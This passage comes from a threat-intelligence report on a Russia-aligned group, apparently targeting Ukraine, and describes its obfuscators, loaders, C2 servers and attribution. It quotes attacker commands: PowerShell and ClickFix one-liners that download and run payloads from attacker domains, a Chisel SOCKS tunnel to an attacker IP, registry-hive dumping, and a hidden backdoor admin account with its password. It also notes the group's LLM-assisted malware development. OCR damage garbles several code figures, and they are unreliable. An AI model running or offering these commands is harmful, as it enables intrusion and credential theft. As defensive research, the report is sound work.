b. The script also modifies RDP-related registry keys, including:

I. Setting fDenyTSConnections to 0 and AllowRemoteRPC to 1, enabling
RDP access and remote RPC functionality.
ii. Setting Shadow to 2, allowing the threat actor to take over existing RDP
sessions with full control and without user consent.
2.Dumps and exfiltrates registry hives for credential access.

a. The script extracts the SAM, SECURITY, and SYSTEM registry hives, likely to

support offline credential extraction.
3.Creates a new local administrator account for persistent access.

a. The script creates a new administrator user account on the victim machine to
enable direct access to the host and its local drives. Observed
username/password pairs include Support_System / Uon21345 and
Support_System1/Uon21345!

b. To reduce visibility, the script hides the newly created account from the Windows
logon screen by adding a registry value for the username under
HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
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c. The script also creates SMB shares for local disks and grants the newly created
user full control over them

SOCKS proxy via Chisel

In some instances, a script (shown in figure 58) was staged to set up a SOCKS proxy
between the client’s machine and LegionRelay’s C2 using Chisel.

Add-MpPreference -ExclusionPath “C:‘\\P
$url = "htt 'gi /pill
$workDir =

fdestGz = "$wor

fdestExe = "$workDir\:

if (1(Test-Path $workDir)) {
try {
New-Item -ItemType Directory -Path $workDir -Force | Out-Null
} catch {
return

$input = [System.I0.File]::0penRead($destGz)
foutput = [System.I0.File]::Create($destExe)
fgz5tream = New-Object System. I0.Compression.GzipStream $input, ([System.IO.Compression.CompressionMode]: :Decompress)

$gzStream. CopyTo( $output)

fgzStream. Close()
$output.Close()
finput.Close()
Remove-Item $destGz
} catch {

I

Set-Location $workDir

Achisel.exe client --auth * " 01.149.221.123:86000 R:0.0.0.0:1080:socks

Figure 58. Example of PowerShell code to setup SOCKS proxy using Chisel on victim's machine
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Custom obfuscators (and loaders)

LOOKVALPS
LOOKVALPS is a custom obfuscator used by the group to obfuscate their PowerShell- R0 G Figure 59. Common XOR decoding method
: : : s : $currentValue = $LookupTable[$Startkey] across all observed LOOKVALPS samples
based payloads, primarily loaders deployed during the initial stage of some of their P
campaigns. WithSecure assesses with moderate-to-high confidence that the obfuscator it e Lue s Rl L
was developed by the group itself. It was first observed in development in July 2025 and : return $currentvalue
remained in use till at least October 2025. function vDMsbXtgQSqW { param($data, $key)
$d=@();foreach($b in $data){$d+=[char]($b -bxor $key)};return -join $d
The obfuscator combines several obfuscation techniques, including randomized variable  nction Do ronXUSH] |
naming and the use of opaque predicates, to hinder analysis and evade detection. Sl R e
Ultimately, the obfuscated script decodes an XOR-encoded script block and executes it. | el R LRSI St
The decoding-related functions (shown in figure 59) are similar across all observed Getunaldcin i deckypeedbvtes Y REGEEach Obiect Myl cnarid =)
LOOKVALPS samples.

Examples of decoded script blocks observed across different campaigns are shown in
Fi gure 60 Figure 60. Examples of de-obfuscated loader scripts

$PAGE_READCNLY

$PAGE_READWRIT
$PAGE_EXECUTE_READWRITE = @x4@
$PAGE_EXECUTE_READ = 9x20
$PAGE_GUARD =

$MEM_COMMIT

$MAX_PATH = 26

function IsReadable {

1
Fl

function PatternMatch {

1
g

TLP:CLEAR
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DAYLIGHT

DAYLIGHT is a custom obfuscator used by the group to obfuscate PowerShell-based
payloads. It has beenin active use since at least October 2025 till the time of writing (April
2026) and appears to have replaced LOOKVALPS in the group’s toolkit. DAYLIGHT is

. . g . param{$EncryptedStream, $KeyStream)
.routln.ely used to obfuscate both initial-stage and post-compromise payloads, ¢decryptedBytes - for (31 - 5 $1 1t $EncryptedStrean.lengths $iss) {
mCIUdmg: LegionReIaVa PhantomReIayVl, and PhantomReIayV2 payloads. LEncryptedStream[$i] -bxor $KeyStream[$i % $KeyStream.length]
-

WithSecure assesses with moderate-to-high confidence that the obfuscator was custom eturn [Systen.Text.Encoding]: :UTFS.GetString ($decryptedBytes)

developed by the group. Additionally, we assess with moderate confidence that the
obfuscator was developed with LLM assistance.

Figure 61. XOR-based decoding routine observed across all DAYLIGHT samples

The obfuscator employs a range of techniques, including complex arithmetic operations
and the insertion of dummy code that mimics filesystem, registry, and network activity.
These mechanisms are designed to bloat the code, increase code complexity, hinder
analysis, and evade detection signatures. Ultimately, the obfuscator utilizes a set of XOR-
based decode routines to execute the final payload. Example code snippets are shown in
figures 61 and 62.

LEnumRemovelnterface = New-Object System.Collections. Arraylist; $null = $EnumRemoveInterface. Add({$env:COMFUTERNAME); 4null = $EnumRemovelnterface.Add
($env:USERNAME)Y; $null = $EnumRemovelnterface.Add{ 'Default'); $EnumRemovelnterface.Sort()
Bd 1 else { $SessionResetShadow = 32 }

try { $PackageTemploln = [System.Net.Dns]::GetHostAddresses{ 'microsoft.com'}} catch {}

Start-Sleep -Milliseconds (Get-Random -Minimum 48 -Maximum 258}

function Package-Enwvi ent-5Stream { param{$RegPath) try { return Test-Path -Path $RegPath -Errorfction Stop } catch { return $false } }; $transportFind = &
Met-Adapter-Exit -RegPath "HKLM: ZSOFTWAREYMicr thindows MTYCurrentversion'

$StackFormatInstance = New-Object System.Collections_ Arraylist; $null = $StackFormatInstance. Add({$env:COMPUTERNAME); 4null = $StackFormatInstance. Add
($env:USERMAME); $null = §5 ormatInstance Add('Default'); $S5tackFormatInstance.Sort()

fRuntimeRuntimeloin = Get-Date; $Shemalnternetlreate = $RuntimeRuntimeldoin.Tolniv 1Time(); if ([System.TimeZoneInfo]::local . IsDaylightSavingTime
($RuntimeRuntimeloin)){ Write-Host 'Daylight savings time is active.' -ForegroundColor DarkGray 7

Start-Sleep -Millis 1ds {(Get-Random -Minimum 48 -Maximum 252

try { $ExecuteAdd)u = Get-CimInstance -ClassMame Win32_ComputerSystem -ErrorAction Stop | Select-Object -ExpandProperty Manufacturer } catch
function Shell-Clone-Enwvironment { param{$RegFath) try { return Test-Path -Fath $RegFath -Errorfction Stop T catch { return $false 1 3;

Profile-Find -RegPath "HELM: ZSOFTWAREYMicrosoftilindows MTACurrentyersion'
Figure 62. Example of dummy operations used to inflate and obfuscate code, likely LLM generated
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LOOKVALJS

LOOKVALJS is a custom obfuscator used by the group to obfuscate JavaScript-based
payloads, primarily initial-stage JS loaders observed across different campaigns.
WithSecure assesses with moderate-to-high confidence that the obfuscator was custom

dGVG'Oped by the grOUp It WaS flrSt SpOtted In development In AUgUSt 2025 and WaS .. i ir i : 5} _< rigth; i++) { resultArr_.push(String.fromCharlode(data[i] * key.charCodeAt(i % key.length})); }
. . . return resultArr.join("");
observed across campaigns from at least October 2025 till December 2025. WithSecure 1
. . . ction YMmvZuscOgMwGmmz (shuffledPairs) {
further assesses with moderate confidence that the obfuscator was developed with LLM irs.length);
. ar 5 + String.fromCharCode(97) + String.fromCharCoda(l88) + Strine.fromCharCode(117) + String.fromCharCode(l121);
assistance. or ;i< sh ength; i++) {
var pair = shuffledPairs[i];
. . . orderedArr[pair[@]] = String.fromCharCode(pair[l][valuekey]);

The obfuscator incorporates technigues such as opaque predicates and dummy }

. . . . . . return orderedArr.join{''};
operations (shown in figure 63) to bloat the code, increase code complexity, hinder

. . . . ction buceyKIVbWFiTRFp(obfuscatedString) {
analysis, and evade detection signatures. The obfuscator ultimately uses an XOR-based o il & 2

or (var i = 8; i < String.length; 1 += 2) {

routine to decode the payload. The decoding-related functions (shown in figure 64) are e et ering.charAt(1);
similar across all observed LOOKVALJS samples. These functions also appear similar to recurn resultAre-Join(");

those implemented in LOOKVALPS, suggesting that LOOKVALJS may have been
developed as a JavaScript counterpart to LOOKVALPS, intended to obfuscate JavaScript
payloads rather than PowerShell-based ones.

Figure 64. Common XOR decoding method across all observed LOOKVALJS samples

var PathMachineOut = new ActiveXObject("MSXML2 .XMLHTTR");
PathMachineQut.open("POST", "hittps:/ffcrl.microsoft.comfpkifcrl/", false);
PathMachineQut. setRegquestHeader (" Content-Type™, "application/json;charset=UTF-8"},;

PathMachinelut. s

1
d

Figure 63. Example of dummy network operation inserted into LOOKVALJS, likely LLM generated
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The threat actor has leveraged LOOKVALJS to obfuscate various payloads, as illustrated
in figures 65 and 66.

IScript.Shell™) .Popup("Error opening doc

n,on L, mn Sam o m

Ctwdinmt+temts T L+ 32+
rUNzzzz i ‘ Lex+te M4t

mon,n L T

+
= . =~ 4 - PR
Cwinmt+MEmis 4t Wi+ 32+ 4 & . . (118

" tem3 2N+ " 1r

515)+
6 1 (-d5+144) +28)+[
B+ S ¢ Y+[c 5" C ; A ar]: char](
3V +[char] (474523 + ‘ ' 1 . . , .

Figure 65. Example of similar deobfuscated loader code used in the PrincessClub and PhantomMail campaigns

Zyrx++) |

node yzyrx);

iter sjypu = [];
value_gziwr = iter_siypu.join(™"});

config_xgmix = [];
eam_mzvzm = config xgmtx.join{"");
buffer hknbd = GetObject(buffer geved);

counter rgnsw = buffer hknbd.Get{value gziur);

ActiveXObject("WScript.Shell") .Popup("Fatal error while opening file: INVAL_S¥S_ARCHITECTURE", @, “Error®, 18);
; eatef{stream _mzvzm, )

Figure 66. Example of deobfuscated loader code (trimmed) used in the PhantomMail campaign,
likely developed with LLM assistance
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TEASOUP . S
var action = taskDef.Actions.Create(®);

TEASOUP is a custom JavaScript (JS) loader and obfuscator used by the group since o Ao £
at least March 2026. It likely replaced LOOKVALJS in the group’s toolkit. Similar to

LOOKVALJS, it has been deployed across initial-stage JS loaders used by the group,
particularly in their PhantomMail campaign. WithSecure assesses with moderate-to-
high confidence that TEASOUP was custom developed by the group using LLM

rootFolder RegisterTaskDefinition(s_name, taszkDef, &, null, null, 3%;

aSSiStance. var runningTask = rootFolder.GetTask(s_nama);
WScript.Sles

The |Oader employs a Slmple integer Subtraction routine to deobfuscate embedded naw ActiveXObject{"WScript.Shell™ ) .Popup("Fatal error while opening file: IMWAL S¥S ARCHITECTURE", @, "Error"™, 16);
runningTask.Run{null};

strings. As observed with other loaders used by the group, it launches a decoy (e.g. an

- o " : try {
error pop-up message) to mask malicious activity. Additionally, the loader may include v rootFolder.DeleteTask(s name, 8):
random data embedded as comments to bloat its file size. Examples of TEASOUP code } catehie) {}

snippets are shown in figures 67 and 68. } catch (&) {

1
J

Figure 67. Code snippet demonstrating decoy execution and next-stage payload deployment via scheduled task,
with comments indicative of LLM-generated content

imUtQe: function{arr) {

Yar sz = -

for (var 1 = 8; 1 ¢ arr.length; i++) {

var ts = arr[1];

var charCode = ts - this. OYFA;
s += String.fromCharCodef{charCode);

1
J

return s;

Figure 68. Common decoding routine observed across TEASOUP samples
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Divergence and usage of
PhantomRelay across cybercrime
activity

WithSecure observed the use of PhantomRelay across multiple activity clusters that
exhibited significantly different characteristics from those associated with GREYVIBE.
Key distinctions included:

1. Rather than focusing on Ukrainian victimology and targeting, these clusters appeared
to target a broader victim base with no explicit focus on Ukraine.

2. Their observed activity alignhed more closely with financially motivated cybercriminal
operations than with state-aligned objectives, which we assess to be the primary
driver of GREYVIBE’s activity.

3.While we assessed that GREYVIBE further developed PhantomRelayLite into
PhantomRelayVl and PhantomRelayV2 and deployed these variants in their
campaigns, the versions used across the identified cybercrime activity clusters were
derived directly from PhantomRelayLite.

4. The infrastructure, malware, and TTPs were clearly distinct from those observed in
GREYVIBE-associated activity.

WithSecure identified at least two such activity clusters, which are described in the
following sections.

14 https://fieldeffect.com/blog/quick-you-need-assistance
15 https://www.nccgroup.com/research-blog/rapid-breach-social-engineering-to-remote-access-in-300-seconds/
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Microsoft Teams vishing

WithSecure observed an initial access activity cluster involving Microsoft Teams voice
phishing, in which PhantomRelayLite was deployed as an early-stage payload in a subset
of cases.

The earliest observed use of PhantomRelayLite within this cluster dates from July 2025
(C2: thirdmetrics[.]Jcom) to early February 2026 (C2: tucsonanimalallergy[.Jcom).

Further investigation enabled WithSecure to correlate multiple reports* ** 16 describing
distinct intrusions that link back to the same activity cluster. Across these cases, the threat
actors frequently deployed PhantomRelayLite, NetSupport RAT, and/or Matanbuchus as
early-stage payloads.

The threat actor would gain initial access into the victim’s machine via remote monitoring
and management (RMM) tools such as Quick Assist, AnyDesk, or TeamViewer, facilitated
through Teams-based voice phishing. Eitherimmediately after initial access or after a brief
reconnaissance phase, the threat actor would execute commands to stage one or more of
these payloads on the victim’s machine.

These types of attacks are commonly associated with financially motivated cybercriminal
activity and frequently culminate in data exfiltration and ransomware deployment.

Example of command used to download and execute NetSupportRAT:

-> [Net.ServicePointManager]::SecurityProtocol=3072;$p=New-Object
Net.WebClient;$p.Headers[‘User-Agent’|="Mozilla/5.0 (Windows NT 10.1; x64)
Gecko/20130401 Firefox/71.0’;$k=%$p.DownloadString(‘https://red-
viper[.]Jcom/cl.php?cpn="+[Net.Dns]::GetHostName());(&([ScriptBlock]::Create($k)

);

16 https://www.morphisec.com/blog/ransomware-threat-matanbuchus-3-0-maas-levels-up/



https://fieldeffect.com/blog/quick-you-need-assistance
https://www.nccgroup.com/research/rapid-breach-social-engineering-to-remote-access-in-300-seconds/
https://www.morphisec.com/blog/ransomware-threat-matanbuchus-3-0-maas-levels-up/
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Example of command used to download and execute PhantomRelayLite:

-> cmd.exe /c "echo $wo=New-Object
System.Net.WebClient;[Net.ServicePointManager]::SecurityProtocol="Tls12’;$wo.
DownloadString(‘https:// saidozdemir[.Jcom/service.html’) | powershell.exe -
NoProfile - | powershell.exe -Nonlnteractive -NoProfile -WindowStyle Normal -"

KongTuke

From late February through at least late March 2026, WithSecure observed
PhantomRelayLite payloads being distributed via KongTuke (ClickFix) delivery chains
instead. During the same period, PhantomRelayLite was no longer observed in
association with the Teams voice phishing activity cluster. It remains unclear whether this
reflects coincidental timing, a visibility gap, or an unidentified factor driving the apparent
switch between these initial-access channels.

Example of ClickFix command (via KongTuke) used to download and execute
PhantomRelayL.ite:

-> cmd.exe /k "echo (iwr hxxps|:]//seahorsemethod[.]Jcom/global -
UseBasicParsing).content | for /f %f in (‘where /r C:\WINDOWS\System32 p*ell.exe')
do %f -noprofile - | for /f %f in ('where /r C:\WINDOWS\System32 p*ell.exe') do %f -
noprofile -W H -"

TLP:CLEAR
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Infrastructure and backend analysis

PhantomRelayLite C2

WithSecure found the majority of PhantomRelayLite C2 servers were hosted on IP
addresses associated with EDIS Global (a VPS provider), with the upstream network
provider typically showing as M247 Europe SRL (AS 9009). Moreover, we observed that
many of the domains used as PhantomRelayLite C2 addresses were likely previously
compromised. For example, prior to their usage as PhantomRelayLite C2, we found a
repeating pattern across nearly all associated domains: the domains previously used
NameCheap web hosting, they ran on LiteSpeed Web Server and had an open root
directory showing a cgi-bin folder with a specific last modification date: “2024-09-03
00:34”. An example has been shown in figure 69.

Index of /

Name = Last Modified Size

cgi-bin 2024-09-03 00:34
Proudly Served by LiteSpeed Web Server at robotic-toys.com Port 80

Figure 69. Example of open directory on compromised domain

While the combination of EDIS Global with the compromised domain pattern served as a
strong signal and was repeatedly observed across many of the PhantomRelayLite C2
server deployments, few PhantomRelayLite C2 instances did not conform to this pattern,

17 https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-
macos#:~:text=Cluster%201%3A % 20Intuit%20QuickBooks
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such as thirdmetrics[.Jcom (associated to Teams vishing cluster) and obmlink[.Jcom
(associated to KongTuke cluster). Moreover, we started observing more variance in the
infrastructure patterns linked to PhantomRelayLite C2 deployments since March 2026.

Furthermore, we found a domain (bithill[.Jcom) that matched the EDIS Global +
compromised domain pattern which did not serve as a PhantomRelayLite C2 but rather
served a PowerShell command that would ultimately lead to a NetSupportRAT infection.
The activity overlapped with a reported?’ ClickFix activity cluster.


https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos#:~:text=Cluster%201%3A%20Intuit%20QuickBooks
https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos#:~:text=Cluster%201%3A%20Intuit%20QuickBooks
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Figure 70. EDIS Global + compromised domain pattern (bithill[.Jcom) leading to different activity than
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]::Create((irm "bithill.com/cf.php™)).Invoke()

$earthWords = (@(
"Earth”,"Gaia","Nature”,"Wild","Forest"”, "Ocean™, "Ri "Mountain”,
"Valles OW'’ “Bloom”,"Leaf"," r
"Stone™, s Thunder","sur Dawn™,

"Twilight™,"starlight™,"Mo "Ho on™,"sky","Ember","Spring"”

Get-RomanticName {
Embrace-Folder {
Send-Letters {
Unwrap-Gift {

Leave-Trace-In-Heart {

$poeticPathName = Get-RomanticName
$diary = Join-Path $env:LOCALAPPDATA $poeticPathName
Embrace-Folder -Path $diary

$belovedDomain = "http://bithill.com"
$giftsFromafair = @("at.7z", "lnk.7z", "

Send-Letters -LoveAddress $belovedDomain -Gifts $giftsFromAfair -Mailbox $diary

Set-Location $diary
".\7z.exe" x at.7z -pppp -aoa -y > 28

$programDataName = $earthWords | Get-Random
$baseFolder = Join-Path $env:ProgramData $programDataName

PhantomRelayLite

57

The observed variance and diversity likely reflect a fragmented, service-oriented
cybercriminal ecosystem, in which multiple threat actors and groups provide discrete
components of an attack, such as infrastructure hosting and domain provisioning.

This ecosystem can result in overlaps between otherwise distinct activity clusters,
complicating tracking and attribution efforts as well as making it increasingly difficult to
draw clear boundaries between operations that may previously have appeared separate.
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GREYVIBE’S PhantomRelay C2

The earliest domain associated with PhantomRelayV1 was goodhillsenterprise[.Jcom,
which was also the earliest domain linked to PhantomRelayLite. The domain was
registered via NameCheap on 2025-03-27. WithSecure assesses with high confidence
that this domain is associated with the threat group and was used during their development
and testing phase. It was bulk-registered alongside several other domains, which were also
linked to the group and some later used as PhantomRelay C2 infrastructure.

Initially, goodhillsenterprise[.Jcom resolved to an IP address 162.252.172[.]83,
belonging to EDIS Global. This IP address later resolved for saidozdemir[.Jcom - a
domain that served as a PhantomRelayLite C2 that followed the same EDIS Global and
compromised domain pattern observed across other PhantomRelayLite C2 servers. This
domain was used across the Teams voice-phishing activity cluster.

This suggests that the threat actor initially relied on default or commonly used hosting
configurations consistent with other PhantomRelayLite deployments. However,
GREYVIBE transitioned its PhantomRelay C2 infrastructure away from EDIS Global to
alternative hosting providers, including:

1. KVMka (a Russia-based VPS provider), observed from early July 2025 through at
least late October 2025.

2. Cloudzy (formerly RouterHosting LLC, a VPS provider), observed in a single instance
in late October 2025.

3. Global Connectivity Solutions LLP (a suspected!® Russian bulletproof hosting
provider), observed from late November 2025 through at least April 2026 (time of
writing).

18 https://www.intrinsec.com/en/from-espionage-to-psyops-tracking-operations-and-bulletproof-providers-of-
uac/#:~:text=%C2%A0IPs%20from-,Global%20Connectivity % 20Solutions % 20LLP,-(AS215540)%2C%20a%20UK
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This transition occurred prior to the earliest observed weaponization and provides a clear
separation between infrastructure associated with GREYVIBE and other cybercriminal
activity clusters leveraging PhantomRelayLite.

Moreover, rather than relying on previously compromised domains, as observed across
most other PhantomRelay C2 infrastructure, the threat actor relied on newly registered
domains. WithSecure identified a total of 18 domains assessed to be exclusively
associated with the group’s use of PhantomRelay. While the threat actor leveraged a
variety of registrars overtime, a recurring naming pattern was observed across the domain
names, particularly the inclusion of the term “enterprise” across some of them.


https://www.intrinsec.com/en/from-espionage-to-psyops-tracking-operations-and-bulletproof-providers-of-uac/#:~:text=%C2%A0IPs%20from-,Global%20Connectivity%20Solutions%20LLP,-(AS215540)%2C%20a%20UK
https://www.intrinsec.com/en/from-espionage-to-psyops-tracking-operations-and-bulletproof-providers-of-uac/#:~:text=%C2%A0IPs%20from-,Global%20Connectivity%20Solutions%20LLP,-(AS215540)%2C%20a%20UK
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FallSpy C2

WithSecure found that all identified FallSpy C2 servers were hosted on IP addresses
associated with Baxet Group Inc. (AS26383). The earliest observed FallSpy C2 activity
dates to August 2025.

The C2 typically operates on port 5000, with the associated administrative panel exposed
on port 5001. The admin panel is in Russian, and comments identified across related
assets were also written in Russian. The login page for the admin panel is shown in figure
71.

Across the admin panel assets, WithSecure found references suggesting that the admin
panel is used to monitor data such as “interesting contacts”, call statistics, location
information, SMS messages, exfiltrated files and general device information. This aligns
with the data collected and exfiltrated from victim devices by the spyware.

& MoHUTOPUHr yCTpOiA m
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Figure 71. Login page for FallSpy admin panel
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LegionRelay C2

Similar to FallSpy C2 servers, WithSecure found that all identified LegionRelay C2 servers
were hosted on IP addresses associated with Baxet Group Inc. (AS26383). The earliest
observed LegionRelay C2 activity dates to December 2025.

The C2 typically runs on port 8000, with the same endpoint serving as its administrative
panel. Its login page was initially labeled “PowerShell Command Server” and was later
renamed to “France Education,” although references to the original name remained in the
backend. The backend is highly likely implemented using a Python-based stack,
specifically leveraging the Uvicorn ASGI server. The login page is shown in figure 72.

1 France Education

France Education

Username

Password

Figure 72. Login page for LegionRelay admin panel
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WithSecure conducted further analysis of the C2 infrastructure and identified Redocly-and
Swagger-based APl documentation pages hosted under the /redoc and /docs paths,
respectively. These interfaces exposed detailed information about available REST API
methods, including endpoint paths, descriptions, parameters, and associated data
schemas.

For example, the C2 supports APl methods for creating and retrieving a “client dossier” for
each infected victim. This dossier may include attributes such as full name, affiliation,
phone number, Telegram handle, and other characteristics. The corresponding schema is
shown in Figure 73.

Save Client Dossier

CDXDEHEH e NoCbe KINMHeHTa

HTTPBasic

PATH PARAMETERS

— client id string (Client Id)
required

REQUEST BODY SCHEMA:  application/json

required

— full name > Full Name (string) or Full Name (null) (Full Name)

— affiliation > Affiliation (string) or Affiliation (null) (Affiliation)

—~ rhone »

Phone (string) or Phone (null) (Phone)

— telegram > Telegram (string) or Telegram (null) (Telegram)

| characteristics 3

Characteristics (string) or Characteristics (null) (Characteristics)

Figure 73. APl method to save client dossier
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Characteristics observed across the C2 server such as the presence of publicly accessible
APl documentation, English-language comments in the login interface, and overall
implementation were consistent with LLM-assisted development. Similar markers were
also identified within LegionRelay’s client-side implementation.

Based on these findings, WithSecure assesses with moderate-to-high confidence that the
group leveraged LLMs in the development of LegionRelay, including both client- and
server-side components.

PrincessClub sites

WithSecure investigated lure sites associated with the PrincessClub campaign. The
earliest identified domain was registered in late April 2025, while the most recent ones
were registered as late as April 2026. In total, WithSecure identified 8 PrincessClub sites
over this period.

The domain names have followed a consistent pattern, incorporating the terms ‘princess’
and ‘club’.

The group has leveraged multiple domain registrars over time, including:

1.URL Solutions Inc. - Observed in domains registered in late April 2025 and late
August 2025

2.WebNic - Observed in domains registered in October 2025

3. Spaceship - Observed in domains registered from early April 2026 till late April
2026

4. Global Domain Group LLC. - Observed in domains registered in late April 2026
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The associated sites have typically been hosted on Apache 2.4.58 (Ubuntu) servers and
deployed across multiple hosting providers, including:

1. Fozzy - Observed across associated domains from April 2025 till at least
September 2025

2. KVMka - Observed across an associated domain in October 2025. Notably, hosting
for domains linked to both the PhantomClick and PrincessClub campaigns briefly
overlapped on server 193.233.23[.]81, further strengthening the linkage between
these campaigns.

3.Baxet Group Inc. - Observed across associated domains from early November
2025 till April 2026.

In more recent PrincessClub sites, the group developed an admin panel (shown in figure
74) hosted under the /admin path. Additionally, a separate panel (shown in figure 75) was
implemented under /girl path to enable girl operators to monitor and answer calls initiated
via the live call feature described in an earlier section. While the public-facing sites were
presented in Ukrainian, these administrative panels were in Russian.

MoniHa OnekcaHapa BikTopis

= P ol =

Penakmposats Ynanutb Pepakmposath Yaanum. Pepaktmposarth Ynanute

Figure 74. PrincessClub admin panel (logged on view)
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BhiiATh

// OyHKUMA ANA onpeaeneHuA Tuna YcTpoicTBa
function isMobileDevice() { onDocClick(e
return /Android|iPhone|iPad|iPod|Opera Mini|IEMobile/i.test(navigator.userAgent); t = e.target;

}

// OYHKUMA ANA YCTaHOBKM BMAEOKOAEKaA . P s
1lvideoCodec() { if (t.closest('.video-block')) {

function insta
c g('=== installVideoCodec called ==='); e.preventDefault();
g('isMobileDevice:', isMobileDevice()); e.stopImmediatePropagation();
window.location.href = REDIRECT;
TWN YCTpOWACTBa M nokasbiBaem coobueHue return;
ce()) { }
" B MOBILE DEVICE DETECTED - APK file');

const downloadlLink = document.createElement('a');
downloadlLink.href . g card = t.closest('.profile-card');

= 'princess.apk’; if (card && card.querySelector(‘video')) {
hild(downloadLink); e.preventDefault();
e.stopImmediatePropagation();

hild(downloadLink); window.location.href = REDIRECT;
return;
Figure 75. Girl operator panel to answer calls (logged on view) O O] | bE e s DA o (578 Hs) }
const dowvloadLink = Jf?u”fﬁf.ﬁféétézlé“i”f(‘a')j ‘ : : ‘ : . . .
The analyzed sites exhibited design flaws, including open directories on certain paths that downlondLink. download = Princessii. var; e aera s mee [l o chosess(tssipermapiseur) €
, P \/2»
: HiEe z d(downloadLink); e.stopImmediatePropagation();

exposed hosted assets and information. Additionally, site assets suchas HTML, CSS, and donlosdlink.c1 e (domtondLin) windon Tocstion.ref = REDRECT
JS files contained a mix of English and Russian comments, some that appeared to be LLM ! ,

generated. Markers observed across implemented functionalities were also consistent
with LLM-generated content. Based on these findings, WithSecure assesses with
moderate-to-high confidence that the site was developed with LLM assistance. Some
examples of markers consistent with LLM content found across the site, such as structured
comments and usage of emojis, are shown in figure 76.

Figure 76. Examples of markers consistent with LLM usage

TLP:CLEAR
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The blurred lines of attribution

Russian development & operation

WithSecure assesses with high confidence that operators and developers associated
with GREYVIBE are Russian-speaking and operate within Russian (Moscow) time
zone. This assessment is supported by multiple findings, including:

« A vast number of comments observed across development, backend, and code
artifacts were written in Russian.

« Several associated admin panels, including those for FallSpy, LegionRelay, and
PrincessClub, explicitly use the Russian language.

« Evidence of a suspected operator using Yandex to translate text from Russian to
Ukrainian

« Evidence of one suspected operator communicating with another in Russian

« Operator- and developer-linked machines were configured to use the Russian locale
and Russia/Moscow timezone (UTC+3).

« C2 servers, namely for PhantomRelay and LegionRelayV2, were configured to
Russia/Moscow time (UTC+3)

« Numerous associated artifacts were created with
Russia/Moscow time zone (UTC+3).

timestamps indicating

« Some of the associated C2 servers and related websites were hosted by Russian
hosting providers.

« ATilda project used to build an early PrincessClub site was registered with Russia as
the associated country.
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This assessment is further supported by the persistent targeting of Ukrainian entities and
alignment with Russian state interests, particularly in the context of the Russia-Ukraine
war.

Additionally, WithSecure monitored the post-compromise activity performed by the
operators through LegionRelay over several months. Analysis of activity timestamps
shows the operational hours align with the Russian (Moscow) time zone, with reduced
activity observed between midnight and early morning (Moscow time), further reinforcing
this assessment.
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o

o

Figure 77. Operator activity grouped per hour of day (UTC+3)

The abundance of attribution-supporting evidence may indicate a lack of operational
maturity and poor OPSEC awareness by the associated developers and operators.

Russian state-aligned motives

We assess with high confidence that GREYVIBE’s activities align with Russian state
interests, particularly in support of intelligence-gathering objectives in the context of the
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ongoing Russia-Ukraine war. This assessment is based on several factors that are more
consistent with state-aligned objectives than with purely financial motivations, including:

-> A primary focus on targeting Ukrainian entities.
-> The nature of lures and victimology observed.
-> The observed actions on objectives.

Nation-state or cybercriminal actor?

At the time of writing, WithSecure has not identified definitive links between GREYVIBE
and any previously identified threat group. However, a key analytical challenge from the
outset of the investigation has been examining whether GREYVIBE involves cybercriminal
actors.

While WithSecure found the associated activity consistent with Russian state-alignhed
goals, which are typically conducted by nation-state actors, several observed
characteristics aligned more closely with cybercriminal actors. These included:

e Suspected access to and use of a unique ISO builder across early development and
test samples, potentially linked to the TrickBot ecosystem, its distribution affiliates,
and UAC-0098 active during 2021-2022.

e The presence of PhantomRelay variants across several seemingly unrelated
cybercrime activity clusters.

e Evidence of development and test samples being uploaded to public platforms such
as VirusTotal, which does not typically align with nation-state actors.

e Use of Internet slang-based naming conventions in early-stage development artifacts
(e.g., “letsrollboyos”, “totallyunsus”, “hahagotu”, “cuteuwu”), which is atypical for
nation-state actors.

19 https://cloud.google.com/blog/topics/threat-intelligence/cybercrime-multifaceted-national-security-threat
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e An XMRIG miner payload being deployed on a few victim machines infected with
LegionRelay. This could either signal a false flag or financial motivation, with the latter
typically associated with cybercriminal actors than Russian nation-state actors.

At the same time, there is established precedent!® for Russian intelligence services
leveraging or co-opting cybercriminal groups to support or conduct operations aligned with
state objectives.

Taken together, WithSecure assesses with moderate confidence the group has ties to the
cybercrime ecosystem and with low-to-moderate confidence that the group involves
current or former cybercriminal members. The exact type and nature of their relationship
to the Russian state is unclear at the time of writing, whether former or current
cybercriminal members have been absorbed into a state-backed group, operate
independently but with state-directed tasking, or have formed a hybrid team involving
state-affiliated and cybercriminal members.

Moreover, the scale and sustained focus in activity by the group across a broad spectrum,
combined with the use of unique tooling, malware and infrastructure patterns shared
across campaigns, suggest the involvement of multiple developers and operators, as well
as a structured, coordinated, and well-resourced group.

Lastly, while certain technical overlaps, such as the use of the unique ISO builder, suggest
proximity to UAC-0098, an activity cluster likely involving former TrickBot members
targeting Ukraine in support of Russian state interests, there is insufficient evidence to
assess that this activity represents a direct continuation or reconstitution of UAC-0098
with new tooling or tradecraft. This hypothesis remains low likelihood but warrants further
investigation.


https://cloud.google.com/blog/topics/threat-intelligence/cybercrime-multifaceted-national-security-threat
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Conclusion

GREYVIBE represents a persistent Russia-nexus group primarily operating against
Ukrainian targets. The activity documented in this report shows the group leveraging a
broad range of delivery vectors including spear-phishing campaigns, fake CAPTCHA
pages, and fraudulent adult-entertainment websites, to lure and deliver malware to
unsuspecting victims. The observed victimology across the campaigns have included
military, government, civilian, and business-related entities.

WithSecure assesses that GREYVIBE’s activity aligns with Russian state interests,
particularly intelligence-gathering objectives related to Ukraine in the context of the
ongoing Russia-Ukraine war. However, the group does not consistently exhibit the level of
sophistication and operational maturity typically associated with more seasoned
adversaries. Instead, the group’s activity reflects a low-to-moderately sophisticated group
with a blend of poor operational security and heavy reliance on Al-assisted development.
Nevertheless, the group’s persistent focus and targeting demonstrate that less
sophisticated actors can still pose a meaningful threat and should not be discounted.

Indicators also suggest the group has ties to the broader cybercrime ecosystem, with the
group potentially involving current or former cybercriminal actors. As aresult, GREYVIBE
appears to occupy a grey area between cybercrime and state-affiliated actors,
complicating attribution efforts and blurring traditional distinctions between the two
categories.
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At the time of writing, WithSecure has not identified definitive ties between GREYVIBE and
any previously tracked threat group. Nevertheless, WithSecure continues to monitor and
study the group, its associated activity, and potential links to other threat groups or activity
clusters.

The group’s use of generative Al (GenAl) and large language models (LLMs) is also
